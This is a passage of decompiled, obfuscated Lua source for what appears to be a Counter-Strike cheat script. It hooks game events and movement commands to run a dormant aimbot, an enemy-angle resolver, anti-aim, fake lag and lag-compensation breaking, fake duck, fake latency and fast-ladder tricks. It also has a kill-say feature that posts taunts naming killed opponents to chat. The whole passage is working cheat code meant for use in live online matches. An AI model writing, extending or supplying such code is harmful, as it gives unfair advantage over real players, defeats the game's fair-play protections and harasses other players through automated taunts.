            l_clipboard_0.set(l_result_9);
            if v1496 then
                v78.g_notify:add("config ~ " .. v65.lime_green .. "exported successfully: " .. v65.white .. table.concat(v1499, ", "), "config exported: " .. v65.lime_green .. table.concat(v1499, ", "), color(255, 255, 255, 255), 8, l_log_where_7:get("Developer"), l_log_where_7:get("Console"), l_log_where_7:get("Center"), color(255, 255, 255, 255));
            end;
        elseif v1496 then
            v78.g_notify:add("config ~ " .. v65.light_red .. "failed to export config.", v65.light_red .. "failed to export " .. v65.white .. "config", color(255, 255, 255, 255), 8, l_log_where_7:get("Developer"), l_log_where_7:get("Console"), l_log_where_7:get("Center"), color(255, 255, 255, 255));
        end;
        return;
    end;
end);
local function v1513()
    -- upvalues: v78 (ref), v122 (ref)
    local l_message_queue_0 = v78.message_queue;
    if #l_message_queue_0 == 0 then
        return;
    else
        local l_curtime_2 = globals.curtime;
        if v78.message_time + v122.misc.kill_say.delay_duration.value <= l_curtime_2 then
            local v1512 = table.remove(l_message_queue_0, 1);
            utils.console_exec("say " .. v1512);
            v78.message_time = l_curtime_2;
        end;
        return;
    end;
end;
local function v1516(v1514, v1515)
    -- upvalues: v122 (ref)
    if not v122.misc.fast_ladder.value then
        return;
    elseif not v1515 then
        return;
    else
        if v1515.m_MoveType == 9 then
            v1514.view_angles.y = math.floor(v1514.view_angles.y + 0.5);
            if v1514.forwardmove > 0 then
                if v1514.view_angles.x < 45 then
                    v1514.view_angles.x = 89;
                    v1514.in_moveright = 1;
                    v1514.in_moveleft = 0;
                    v1514.in_forward = 0;
                    v1514.in_back = 1;
                    if v1514.sidemove == 0 then
                        v1514.view_angles.y = v1514.view_angles.y + 90;
                    end;
                    if v1514.sidemove < 0 then
                        v1514.view_angles.y = v1514.view_angles.y + 150;
                    end;
                    if v1514.sidemove > 0 then
                        v1514.view_angles.y = v1514.view_angles.y + 30;
                    end;
                end;
            elseif v1514.forwardmove < 0 then
                v1514.view_angles.x = 89;
                v1514.in_moveleft = 1;
                v1514.in_moveright = 0;
                v1514.in_forward = 1;
                v1514.in_back = 0;
                if v1514.sidemove == 0 then
                    v1514.view_angles.y = v1514.view_angles.y + 90;
                end;
                if v1514.sidemove > 0 then
                    v1514.view_angles.y = v1514.view_angles.y + 150;
                end;
                if v1514.sidemove < 0 then
                    v1514.view_angles.y = v1514.view_angles.y + 30;
                end;
            end;
        end;
        return;
    end;
end;
local function v1518()
    -- upvalues: v122 (ref), v78 (ref), v63 (ref)
    local v1517 = not v122.misc.disable_viewangles_strafer.value or common.is_button_down(87) or common.is_button_down(65) or common.is_button_down(83) or common.is_button_down(68);
    if v1517 ~= v78.last_override_state then
        v78.override_applied = v63.air_strafe_ref:override(v1517);
        v78.last_override_state = v1517;
    end;
end;
local function v1521(v1519, v1520)
    -- upvalues: v63 (ref), v78 (ref)
    if v63.fake_duck_ref:get() and not v1520.in_duck and v78.on_ground and v78.weapon_info and v78.weapon_info.weapon_type == 9 and v78.weapon.m_bPinPulled and v78.weapon.m_fThrowTime == 0 and v1519.m_flDuckAmount < 0.8 then
        v1520.in_attack = 1;
    end;
end;
local function v1525(v1522)
    -- upvalues: v78 (ref)
    v78.weapon = nil;
    v78.weapon_info = nil;
    v78.weapon = v1522:get_player_weapon(false);
    if not v78.weapon then
        return;
    else
        v78.weapon_info = v78.weapon:get_weapon_info();
        v78.next_attack_time = v1522.m_flNextAttack;
        v78.next_primary_time = v78.weapon.m_flNextPrimaryAttack;
        v78.next_secondary_time = v78.weapon.m_flNextSecondaryAttack;
        v78.last_shot_time = v78.weapon.m_fLastShotTime;
        v78.curtime = globals.curtime;
        v78.ammo = v78.weapon.m_iClip1;
        local l_v78_2 = v78;
        local v1524;
        if not v78.last_shot_time or v78.curtime - v78.last_shot_time > globals.tickinterval then
            v1524 = false;
        else
            v1524 = true;
        end;
        l_v78_2.is_firing = v1524;
        if v78.ammo < 1 then
            v78.can_fire = false;
            return;
        elseif v78.curtime < v78.next_primary_time or v78.curtime < v78.next_attack_time then
            v78.can_fire = false;
            return;
        else
            v78.can_fire = true;
            return;
        end;
    end;
end;
local function _()
    -- upvalues: v78 (ref), v975 (ref), v122 (ref), v65 (ref)
    local l_dormant_fire_data_0 = v78.dormant_fire_data;
    if not l_dormant_fire_data_0 or not l_dormant_fire_data_0.tick then
        return;
    else
        local l_weapon_3 = v78.weapon;
        if not l_weapon_3 or not l_weapon_3:is_weapon() then
            return;
        else
            local v1528 = {
                aim_logs_options_type = v975(v122.visuals.vis_logs.log_type.value, "Fire") and v122.visuals.vis_logs.value, 
                aim_logs_options = v122.visuals.vis_logs.log_where, 
                target_name = l_dormant_fire_data_0.target_name or "unknown", 
                best_hitbox = l_dormant_fire_data_0.best_hitbox or 0, 
                dmg = l_dormant_fire_data_0.dmg or 0, 
                ping_ticks = l_dormant_fire_data_0.ping_ticks or 0, 
                hitchance = l_dormant_fire_data_0.hitchance or 0, 
                hitgroup = v78.hitbox_str and v78.hitbox_str[l_dormant_fire_data_0.best_hitbox] or "unknown", 
                bt = -(l_dormant_fire_data_0.ping_ticks or 0), 
                time_ms = (l_dormant_fire_data_0.ping_ticks or 0) * 1000
            };
            local l_tickcount_3 = globals.tickcount;
            if l_dormant_fire_data_0.tick <= l_tickcount_3 and l_tickcount_3 <= l_dormant_fire_data_0.tick + 1 then
                v1528.message = (v65.lavender .. "dormant fired at %s's %s for %d damage (%d%% hitchance) bt=%d (%dms)"):format(v1528.target_name, v1528.hitgroup, v1528.dmg, v1528.hitchance, v1528.bt, -to_time(v1528.time_ms));
                v1528.simple_message = (v65.lavender .. "dormant " .. v65.white .. "fired at " .. v65.lavender .. "%s" .. v65.white .. "'s " .. v65.lavender .. "%s" .. v65.white .. " for " .. v65.lavender .. "%d" .. v65.white):format(string.lower(v1528.target_name), v1528.hitgroup, v1528.dmg);
                if v78.g_notify and v78.g_notify.add and v1528.aim_logs_options_type then
                    v78.g_notify:add(v1528.message, v1528.simple_message, color(210, 210, 255, 255), 8, v975(v1528.aim_logs_options, "Developer"), v975(v1528.aim_logs_options, "Console"), v975(v1528.aim_logs_options, "Center"), color(210, 210, 255, 255));
                end;
                v78.dormant_fire_data = nil;
            end;
            return;
        end;
    end;
end;
local function v1536(v1531)
    -- upvalues: v1310 (ref), v1431 (ref), v78 (ref), v1525 (ref), v1521 (ref), v969 (ref), v696 (ref), v122 (ref), v1518 (ref), v1418 (ref), v1423 (ref), v1340 (ref), v1516 (ref), v1427 (ref), v339 (ref)
    v1310(0);
    local v1532 = entity.get_local_player();
    if not v1532 then
        return;
    else
        v1431(v1532, v1531);
        v78.defensive = v78.defensive_ticks_left ~= 0;
        v78.cmd = v1531;
        v78.jumping = v1531.in_jump;
        v78.on_ground = bit.band(v1532.m_fFlags, bit.lshift(1, 0)) ~= 0;
        v78.ducking = bit.band(v1532.m_fFlags, bit.lshift(1, 1)) ~= 0;
        v78.in_attack = v1531.in_attack;
        v1525(v1532);
        v1521(v1532, v1531);
        if v969.shoot == false then
            v1531.in_attack = 0;
        end;
        v696:dormant_aimbot(v1531, v1532);
        if v78.air_lag_active and v122.misc.airlag.prefer_lc.value then
            local v1533 = v1532:simulate_movement();
            v78.good_tp_incoming = false;
            local v1534 = v1532:get_origin();
            v1533:think(15);
            local v1535 = v1533.origin or nil;
            if v1535 ~= nil and (v1534 - v1535):lengthsqr() > 4096 then
                v78.good_tp_incoming = true;
            end;
        end;
        v1518();
        v1418(v1532, v1531);
        v1423(v1532, v1531);
        v1340(v1532, v1531);
        v1516(v1531, v1532);
        v1427(v1532, v1531);
        v339:run(v1532, v78.cmd);
        v339:override_anti_aim(v1532);
        v696:choca_fakelag(v1532, v1531);
        v78.rage_fire = false;
        v78.fire_registered = false;
        return;
    end;
end;
local function v1537(v1538)
    -- upvalues: v1537 (ref)
    local v1539 = type(v1538);
    local v1540 = nil;
    if v1539 == "table" then
        v1540 = {};
        for v1541, v1542 in next, v1538 do
            v1540[v1537(v1541)] = v1537(v1542);
        end;
        setmetatable(v1540, getmetatable(v1538));
    else
        v1540 = v1538;
    end;
    return v1540;
end;
local function v1547(v1543, v1544)
    -- upvalues: v159 (ref)
    local v1545 = v1544 - v1543;
    local v1546 = math.atan(v1545.y / v1545.x);
    v1546 = v159(v1546 * 180 / math.pi);
    if v1545.x >= 0 then
        v1546 = v159(v1546 + 180);
    end;
    return v1546;
end;
local function v1579(v1548)
    -- upvalues: v78 (ref), v159 (ref), v1547 (ref)
    local v1549 = entity.get_players(false, true);
    if #v1549 == 0 then
        v78.net_player_data.current = {};
        v78.net_player_data.previous = {};
        v78.net_player_data.yaw_history = {
            yaw = {}, 
            target_yaw = {}, 
            tick = {}
        };
        return;
    else
        local v1550 = v78.net_player_data.current or {};
        local v1551 = v78.net_player_data.previous or {};
        local v1552 = v78.net_player_data.yaw_history or {};
        local v1553 = {};
        for _, v1555 in ipairs(v1549) do
            local v1556 = v1555 and v1555:get_index();
            if v1556 then
                local v1557 = v1555.m_iTeamNum or 0;
                if v1555:is_alive() or v1557 ~= 0 and v1557 ~= 1 then
                    v1553[v1556] = v1555;
                end;
            end;
        end;
        for v1558 in pairs(v1550) do
            if not v1553[v1558] then
                v1550[v1558] = nil;
                v1551[v1558] = nil;
                v1552[v1558] = nil;
            end;
        end;
        for v1559, v1560 in pairs(v1553) do
            if v78.round_start then
                v1560.m_iNumRoundKills = 0;
            end;
            v1552[v1559] = v1552[v1559] or {};
            local v1561 = v1560:is_alive();
            local v1562 = v1560:is_dormant();
            local v1563 = v1562 and -1 or v1560:get_simulation_time().current or 0;
            local v1564 = (v1550[v1559] and v1550[v1559].simtime or 0) < v1563;
            local v1565 = v1550[v1559] and v1550[v1559].prev_valid_sim or nil;
            local v1566 = v1550[v1559] and v1550[v1559].is_defensive or false;
            local l_m_angEyeAngles_0 = v1560.m_angEyeAngles;
            local v1568 = v1560:get_origin();
            local v1569 = v1548:get_origin();
            local l_m_vecVelocity_1 = v1560.m_vecVelocity;
            local l_m_vecMins_1 = v1560.m_vecMins;
            local l_m_vecMaxs_1 = v1560.m_vecMaxs;
            local _ = l_m_angEyeAngles_0.x;
            local l_y_4 = l_m_angEyeAngles_0.y;
            local v1575 = math.floor(v159(l_y_4 - v1547(v1569, v1568)));
            local v1576 = v1552[v1559] and v1552[v1559][#v1552[v1559]];
            local v1577 = v1576 and v1576.yaw or nil;
            local _ = not v1577 or math.abs(v159(l_y_4 - v1577)) > 5;
            if v1562 then
                v1552[v1559] = nil;
            end;
            if v1564 or v1562 or v1566 then
                v1550[v1559] = {
                    simtime = v1563, 
                    oldsimtime = v1560:get_simulation_time().old or 0, 
                    name = v1560:get_name(), 
                    is_enemy = v1560:is_enemy(), 
                    origin = v1568, 
                    at_targets_yaw = v1575, 
                    enemy_yaw = l_y_4, 
                    velocity = l_m_vecVelocity_1, 
                    mins = l_m_vecMins_1, 
                    maxs = l_m_vecMaxs_1, 
                    health = v1560.m_iHealth or 0, 
                    is_dormant = v1562, 
                    is_visible = v1560:is_visible(), 
                    is_alive = v1561, 
                    bbox = v1560:get_bbox(), 
                    network_state = v1560:get_network_state(), 
                    did_set_angle = v1550[v1559] and v1550[v1559].did_set_angle or false, 
                    resolver_flag = v1550[v1559] and v1550[v1559].resolver_flag or false, 
                    is_defensive = v1566, 
                    prev_valid_sim = v1565
                };
            end;
            if not v1561 then
                v1551[v1559] = nil;
                v1552[v1559] = nil;
            end;
        end;
        return;
    end;
end;
v122.misc.fake_latency:set_callback(function()
    -- upvalues: v63 (ref), v122 (ref)
    v63.fake_latency_ref:override(v122.misc.fake_latency.value);
end);
v122.visuals.hide_viewmodel:set_callback(function()
    -- upvalues: v122 (ref)
    cvar.r_drawviewmodel:int(v122.visuals.hide_viewmodel.value and 0 or 1);
end);
events.net_update_end:set(function()
    -- upvalues: v1431 (ref), v78 (ref), v1579 (ref), v696 (ref), v1513 (ref)
    local v1580 = entity.get_local_player();
    if not v1580 then
        return;
    else
        v1431(v1580, cmd);
        v78.defensive = v78.defensive_ticks_left ~= 0;
        v78.choked_commands = globals.choked_commands;
        v1579(v1580);
        local v1581 = v1580:get_origin();
        if v1581 ~= v78.last_origin then
            local v1582 = v78.last_origin or nil;
            if v1582 ~= nil then
                v78.origin_delta = v1581 - v1582;
                v78.breaking_lc = v78.origin_delta:lengthsqr() > 4096;
            end;
            v78.last_origin = v1581;
        end;
        v78.lc_broken_for = v78.breaking_lc and v78.lc_broken_for + 1 or 0;
        v696:teleport_recharge();
        if not v78.wait_for_update and (v78.jumping or not v78.on_ground) and (not v78.on_ground or v78.choked_commands ~= 0) and v78.air_time then
            v78.air_time = v78.air_time + globals.tickinterval;
        end;
        if v78.round_start then
            v78.round_start = false;
        end;
        v1513();
        return;
    end;
end);
events.pre_update_clientside_animation:set(function(_)

end);
events.post_update_clientside_animation:set(function(_)
    -- upvalues: v696 (ref)
    v696:render_animations();
end);
local function v1585()
    -- upvalues: v78 (ref)
    v78.hitmarker_alpha = 0;
    v78.spree_text_time = 0;
    v78.is_wraith_user_list = {};
    v78.verified_wraith_users = {};
    v78.banned_voice_user_list = {};
    v78.cloudflare_cooldown_time = 0;
    v78.defensive = false;
    v78.defensive_ticks_left = 0;
    v78.round_end_aa = false;
    v78.message_time = 0;
    v78.weapon = nil;
    v78.weapon_info = nil;
    v78.net_player_data = {
        current = {}, 
        previous = {}, 
        yaw_history = {
            yaw = {}, 
            target_yaw = {}, 
            tick = {}
        }
    };
    v78.breaking_lc = false;
    v78.last_origin = nil;
    v78.lc_broken_for = 0;
    v78.lc_indicator_timer = 0;
end;
local function v1592()
    local v1586 = entity.get_entities("CEnvTonemapController");
    local v1587 = #v1586;
    if v1587 == 0 then
        return;
    else
        local v1588 = 0.8;
        local v1589 = 1.3;
        for v1590 = 1, v1587 do
            local v1591 = v1586[v1590];
            if v1591 then
                if not v1591.m_bUseCustomAutoExposureMin then
                    v1591.m_bUseCustomAutoExposureMin = true;
                end;
                if not v1591.m_bUseCustomAutoExposureMax then
                    v1591.m_bUseCustomAutoExposureMax = true;
                end;
                if v1591.m_flCustomAutoExposureMin ~= v1588 then
                    v1591.m_flCustomAutoExposureMin = v1588;
                end;
                if v1591.m_flCustomAutoExposureMax ~= v1589 then
                    v1591.m_flCustomAutoExposureMax = v1589;
                end;
            end;
        end;
        return;
    end;
end;
events.level_init:set(function()
    -- upvalues: v969 (ref), v122 (ref), v1592 (ref), v987 (ref), v1585 (ref), v78 (ref)
    v969:apply_fps_optimizations(not v122.misc.fps_optimizations_toggle);
    v1592();
    v987();
    v1585();
    v78.wait_for_sms = 0;
end);
events.cs_game_disconnected:set(function(_)
    -- upvalues: v987 (ref), v1585 (ref)
    v987();
    v1585();
end);
events.round_prestart:set(function()
    -- upvalues: v696 (ref), v78 (ref)
    v696:resetter();
    v78.round_end_aa = false;
    v78.weapon = nil;
    v78.weapon_info = nil;
    v78.hitmarker_alpha = 0;
end);
events.round_end:set(function(v1594)
    -- upvalues: v78 (ref), v1090 (ref)
    local v1595 = entity.get_local_player();
    if not v1595 then
        return;
    else
        v78.round_end_aa = false;
        v78.round_end_aa = v1595.m_iTeamNum == 3 and not (v1594.reason ~= 8) or v1595.m_iTeamNum == 2 and v1594.reason == 9;
        v78.breaking_lc = false;
        v78.last_origin = nil;
        v78.lc_broken_for = 0;
        v1090();
        return;
    end;
end);
events.shutdown:set(function()
    -- upvalues: v969 (ref), v987 (ref), v1090 (ref), v162 (ref), v729 (ref), v63 (ref)
    v969:apply_fps_optimizations(true);
    v987();
    v1090();
    db.comiamaedomini = v162;
    local v1596 = {
        location_x = v729.defensive[1], 
        location_y = v729.defensive[2], 
        location_x1 = v729.slow[1], 
        location_y1 = v729.slow[2], 
        location_x2 = v729.mini[1], 
        location_y2 = v729.mini[2], 
        location_x3 = v729.respect[1], 
        location_y3 = v729.respect[2], 
        location_x4 = v729.lcbomba[1], 
        location_y4 = v729.lcbomba[2]
    };
    v63.scope_overlay_ref:set("Remove Overlay");
    db.defensive_location_mini = v1596;
end);
events.bomb_begindefuse:set(function(v1597)
    -- upvalues: v78 (ref)
    if v78.bomb_data.is_defusing == false then
        v78.bomb_data.defuse_start = globals.curtime;
    end;
    v78.bomb_data.is_defusing = true;
    v78.bomb_data.defuse_time = v1597.haskit and 5 or 10;
end);
events.bomb_abortdefuse:set(function(_)
    -- upvalues: v78 (ref)
    v78.bomb_data.is_defusing = false;
end);
events.bomb_beginplant:set(function(v1599)
    -- upvalues: v78 (ref)
    if v78.bomb_data.planting == false then
        v78.bomb_data.plant_start = globals.curtime;
        v78.bomb_data.site = v1599.site;
    end;
    v78.bomb_data.planting = true;
end);
events.bomb_abortplant:set(function(_)
    -- upvalues: v78 (ref)
    v78.bomb_data.planting = false;
end);
events.bomb_planted:set(function(_)
    -- upvalues: v78 (ref)
    v78.bomb_data.planting = false;
end);
events.bomb_defused:set(function(_)
    -- upvalues: v78 (ref)
    v78.bomb_data.is_defusing = false;
end);
events.bomb_exploded:set(function(_)
    -- upvalues: v78 (ref)
    v78.bomb_data.bomb_was_bombed = true;
end);
events.bomb_planted:set(function(v1604)
    -- upvalues: v78 (ref)
    v78.bomb_data.site = v1604.site;
end);
events.round_start:set(function()
    -- upvalues: v78 (ref), v997 (ref), v969 (ref)
    v78.bomb_data.planting = false;
    v78.bomb_data.is_defusing = false;
    v78.bomb_data.bomb_was_bombed = false;
    v78.bomb_data.bomb_was_defused = false;
    v997();
    v969.player_pos_data = {};
    v78.round_end_aa = false;
    v78.round_start = true;
    v78.wait_for_sms = common.get_unixtime();
end);
events.player_death:set(function(v1605)
    -- upvalues: v122 (ref), v78 (ref), v141 (ref), v84 (ref), v986 (ref), v985 (ref), v987 (ref)
    local v1606 = {
        local_player = entity.get_local_player(), 
        attacker = entity.get(v1605.attacker, true), 
        user = entity.get(v1605.userid, true), 
        weapon = v1605.weapon, 
        headshot = v1605.headshot, 
        game_rules = entity.get_game_rules(), 
        in_warmup = entity.get_game_rules().m_bWarmupPeriod, 
        net = utils.net_channel()
    };
    local v1607 = v1606.local_player == v1606.attacker;
    local v1608 = v1606.local_player == v1606.user;
    local v1609 = v1606.user:is_enemy();
    local v1610 = not v1606.user:is_alive();
    if v1607 and not v1608 and v1609 and v1610 then
        if v122.misc.kill_say.value[1] ~= nil then
            local v1611 = {};
            local v1612 = "";
            for _, v1614 in ipairs(v122.misc.kill_say.value) do
                local v1615 = v78.kill_say_ascii and v78.kill_say_ascii[v1614];
                if v1615 and type(v1615) == "table" then
                    for v1616 = 1, #v1615 do
                        table.insert(v1611, v1615[v1616]);
                    end;
                end;
            end;
            if #v1611 > 0 then
                v1612 = v1611[math.random(1, #v1611)];
                local v1617 = 0;
                local v1618 = 100;
                while (v1612 == v78.last_random or not v141(v1612) and v122.misc.kill_say.remove_ascii.value) and v1617 < v1618 do
                    v1612 = v1611[math.random(1, #v1611)];
                    v1617 = v1617 + 1;
                end;
                if v1612 ~= "" and v1617 < v1618 then
                    if #v78.message_queue == 0 then
                        v78.message_time = globals.curtime;
                    end;
                    table.insert(v78.message_queue, (v122.misc.kill_say.mention_enemy.value and v78.greetings[math.random(#v78.greetings)] .. " " .. v1606.user:get_name():lower() .. " " or "") .. v1612);
                    v78.last_random = v1612;
                end;
            end;
        end;
        if v78.respect_system.respect_ready_to_save then
            local v1619 = v1606.net.is_loopback == true or v1606.user:is_bot() or v1606.in_warmup or not v84(v1606.net:get_server_info().address) or #v78.net_player_data.current < 4;
            if not v78.respect_system.respect_spree then
                if not v1619 then
                    v986();
                end;
            elseif not v1619 then
                v985(v1606.headshot, v1606.weapon);
                v78.spree_text_time = globals.curtime;
                v78.clan_tag_set = false;
            end;
        end;
    end;
    if v1608 then
        v78.weapon = nil;
        v78.weapon_info = nil;
        v987();
        v78.breaking_lc = false;
        v78.last_origin = nil;
        v78.lc_broken_for = 0;
    end;
end);
events.aim_fire:set(function(v1620)
    -- upvalues: v78 (ref), v122 (ref), v65 (ref)
    v78.rage_fire = true;
    local v1621 = v78.hitgroup_str[v1620.hitgroup];
    local l_log_where_8 = v122.visuals.vis_logs.log_where;
    if not l_log_where_8:get("Developer") and not l_log_where_8:get("Console") and not l_log_where_8:get("Center") or not v122.visuals.vis_logs.value or not v122.visuals.vis_logs.log_type:get("Fire") then
        return;
    else
        local v1623 = (v65.fire_log .. "fired at %s's %s for %d damage (%d%% hitchance) bt=%d (%dms)"):format(v1620.target:get_name(), v1621, v1620.damage, v1620.hitchance, v1620.backtrack, to_time(v1620.backtrack * 1000));
        local v1624 = (v65.white .. "fired at " .. v65.fire_log .. "%s" .. v65.white .. "'s " .. v65.fire_log .. "%s" .. v65.white .. " for " .. v65.fire_log .. "%d" .. v65.white):format(string.lower(v1620.target:get_name()), v1621, v1620.damage);
        v78.g_notify:add(v1623, v1624, color(210, 210, 255, 255), 8, l_log_where_8:get("Developer"), l_log_where_8:get("Console"), l_log_where_8:get("Center"), color(210, 210, 255, 255));
        return;
    end;
end);
events.aim_ack:set(function(v1625)
    -- upvalues: v78 (ref), v122 (ref), v969 (ref), v65 (ref)
    v78.fire_registered = true;
    if v1625.state == nil and v122.visuals.hitmarker_option.value and v122.visuals.hitmarker_option.hitmarker_3d.value then
        v969.hit_points[#v969.hit_points + 1] = {
            alfa_hvh = 255, 
            gps = v1625.aim, 
            time = globals.curtime, 
            color = v1625.target.m_iHealth == 0 and v122.visuals.hitmarker_option.hitmarker_color_kill or v122.visuals.hitmarker_option.hitmarker_color
        };
    end;
    if v1625.state == nil then
        return;
    else
        if v122.visuals.miss_circle.value then
            v969.miss_points[#v969.miss_points + 1] = {
                alfa_hvh = 150, 
                gps = v1625.aim, 
                time = globals.curtime
            };
        end;
        local l_log_where_9 = v122.visuals.vis_logs.log_where;
        if not l_log_where_9:get("Developer") and not l_log_where_9:get("Console") and not l_log_where_9:get("Center") or not v122.visuals.vis_logs.value or not v122.visuals.vis_logs.log_type:get("Miss") then
            return;
        else
            local v1627 = ("missed shot due to %s"):format(v1625.state);
            local v1628 = (v65.white .. "missed due to " .. v65.light_red .. "%s"):format(v1625.state);
            v78.g_notify:add(v1627, v1628, color(255, 255, 255, 255), 8, l_log_where_9:get("Developer"), l_log_where_9:get("Console"), l_log_where_9:get("Center"), color(255, 139, 157, 255));
            return;
        end;
    end;
end);
events.player_hurt:set(function(v1629)
    -- upvalues: v122 (ref), v78 (ref), v65 (ref)
    local v1630 = entity.get_local_player();
    local v1631 = entity.get(v1629.attacker, true);
    local v1632 = entity.get(v1629.userid, true);
    local v1633 = v1630 == v1631;
    local v1634 = v1630 == v1632;
    local l_log_where_10 = v122.visuals.vis_logs.log_where;
    if v1633 or v1634 then
        if v1630 == v1631 then
            v78.hitmarker_killed = false;
            local v1636 = v78.hitgroup_str[v1629.hitgroup];
            v78.hitmarker_alpha = 255;
            if v1629.health == 0 then
                v78.hitmarker_killed = true;
            end;
            if (l_log_where_10:get("Developer") or l_log_where_10:get("Console") or l_log_where_10:get("Center")) and v122.visuals.vis_logs.value and v122.visuals.vis_logs.log_type:get("Hit") then
                local v1637 = ("hit %s in the %s for %d damage (%d health remaining)"):format(v1632:get_name(), v1636, v1629.dmg_health, v1629.health);
                local v1638 = string.format(v65.white .. "hit " .. v65.lime_green .. "%s" .. v65.white .. "'s " .. v65.lime_green .. "%s" .. v65.white .. " for " .. v65.lime_green .. "%d" .. v65.white, string.lower(v1632:get_name()), v1636, v1629.dmg_health, v1629.health);
                v78.g_notify:add(v1637, v1638, color(255, 255, 255, 255), 8, l_log_where_10:get("Developer"), l_log_where_10:get("Console"), l_log_where_10:get("Center"), color(165, 251, 55, 255));
            end;
        end;
        if not v122.visuals.samp_logs.value then
            return;
        else
            local v1639 = false;
            local v1640 = v1633 and "hit" or "hurt";
            local v1641 = v1633 and v1632:get_name() or v1631:get_name();
            for _, v1643 in ipairs(v78.hurt_table) do
                if v1643.name == v1641 and v1643.type == v1640 then
                    v1643.damage = v1643.damage + v1629.dmg_health;
                    v1643.weapon = v1629.weapon;
                    v1643.time = globals.curtime;
                    v1639 = true;
                    break;
                end;
            end;
            if not v1639 then
                table.insert(v78.hurt_table, {
                    type = v1640, 
                    name = v1641, 
                    weapon = v1629.weapon, 
                    damage = v1629.dmg_health, 
                    time = globals.curtime
                });
            end;
        end;
    end;
end);
events.createmove_run:set(function(v1644)
    -- upvalues: v1310 (ref), v78 (ref), v63 (ref), v696 (ref)
    v1310(50);
    local v1645 = entity.get_local_player();
    if not v1645 then
        return;
    else
        v78.predict_on_ground = bit.band(v1645.m_fFlags, bit.lshift(1, 0)) ~= 0;
        if v78.on_ground and v63.fake_duck_ref:get() then
            v1644.forwardmove = v1644.forwardmove / 0.47;
            v1644.sidemove = v1644.sidemove / 0.47;
            v1644.upmove = v1644.upmove / 0.47;
        end;
        v696:run_air_lag(v1645);
        return;
    end;
end);
cvar.gameinstructor_enable:int(0);
cvar.cl_use_opens_buy_menu:int(0);
cvar.cl_autowepswitch:int(0);
local function v1650(v1646)
    -- upvalues: v78 (ref), v63 (ref)
    local l_weapon_info_1 = v78.weapon_info;
    if not l_weapon_info_1 then
        return;
    else
        local v1648 = entity.get_local_player();
        if not v1648 or not v1648:is_alive() then
            return;
        else
            local v1649 = v63.local_chams_ref:get() and v63.local_chams_color_ref:get().a or v1646;
            return v63.local_chams_transparency_ref:get() and (v1648.m_bIsScoped or v1648.m_bResumeZoom or l_weapon_info_1.weapon_type == 9) and math.min(v1649, 70) or v1649;
        end;
    end;
end;
events.localplayer_transparency:set(v1650);
events.voice_message(v1414);
events.render:set(v715);
events.render:set(v1400);
events.createmove:set(v1536);
